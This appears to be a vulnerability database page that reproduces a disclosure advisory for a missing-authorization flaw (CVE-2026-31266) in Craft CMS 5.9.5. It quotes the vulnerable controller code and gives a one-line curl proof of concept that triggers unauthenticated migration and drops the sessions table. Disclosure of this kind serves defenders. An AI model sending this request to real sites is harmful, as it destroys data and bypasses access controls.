Lucene search
K

📄 Craft CMS 5.9.5 Missing Authorization / Denial of Service

🗓️ 05 Jun 2026 00:00:00Reported by Mohammed Al-shehriType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

Craft CMS 5.9.5 has missing authorization enabling authentication bypass via migrate action, CVE-2026-31266.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
cms-security-poc
4 Feb 202621:01
githubexploit
ATTACKERKB
CVE-2026-31266
27 May 202600:00
attackerkb
Circl
CVE-2026-31266
5 Jun 202615:00
circl
CNNVD
Craft CMS 安全漏洞
27 May 202600:00
cnnvd
CVE
CVE-2026-31266
27 May 202600:00
cve
Cvelist
CVE-2026-31266
27 May 202600:00
cvelist
NVD
CVE-2026-31266
27 May 202615:16
nvd
Positive Technologies
PT-2026-43997
27 May 202600:00
ptsecurity
RedhatCVE
CVE-2026-31266
5 Jun 202619:45
redhatcve
Snyk
Missing Authorization
27 May 202617:36
snyk
Rows per page
# CVE-2026-31266 - Craft CMS Missing Authorization
    
    ## CVE Information
    | Field | Value |
    |-------|-------|
    | **CVE ID** | CVE-2026-31266 |
    | **Vendor** | Pixel & Tonic |
    | **Product** | Craft CMS |
    | **Affected Versions** | <= 5.9.5 |
    | **CWE** | CWE-862 (Missing Authorization) |
    | **CVSS** | 7.3 (High) |
    | **Security Researcher** | 0xRIXET |
    
    ## Evidence Contents
    - `screenshots/` - Proof of Concept demonstrations
    
    
    ## Vulnerability
    - **Type:** Missing Authorization
    - **Impact:** Authentication Bypass
    - **Vendor:** Craft CMS
    - **Status:** CVE-2026-31266
    
    ## Vulnerable Code
    
    **File:** `src/controllers/AppController.php`
    
    **Lines 65-68:**
    ```php
    protected array|bool|int $allowAnonymous = [
        'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
    ];
    ```
    
    ## Proof of Concept
    
    ```bash
    # With allowAdminChanges=false
    curl -X POST "http://target/actions/app/migrate"
    ```
    
    ## Evidence
    
    ### Before Attack:
    ```sql
    mysql> SELECT COUNT(*) FROM sessions;
    +----------+
    | COUNT(*) |
    +----------+
    |        0 |
    +----------+
    ```
    
    ### After Attack:
    ```sql
    mysql> SELECT COUNT(*) FROM sessions;
    ERROR 1146 (42S02): Table 'sessions' doesn't exist
    ```
    
    ## References
    - [Craft CMS Repository](https://github.com/craftcms/cms)
    - [Craft Security Documentation](https://craftcms.com/knowledge-base/securing-craft)
    - [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-31266)
    
    ## Contact
    - **Security Researcher:** 0xRIXET | Mohammed Al-shehri
    - **Twitter | X :** @0xRIXET
    - **Email:** [email protected]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.17.3
EPSS0.00047
SSVC
13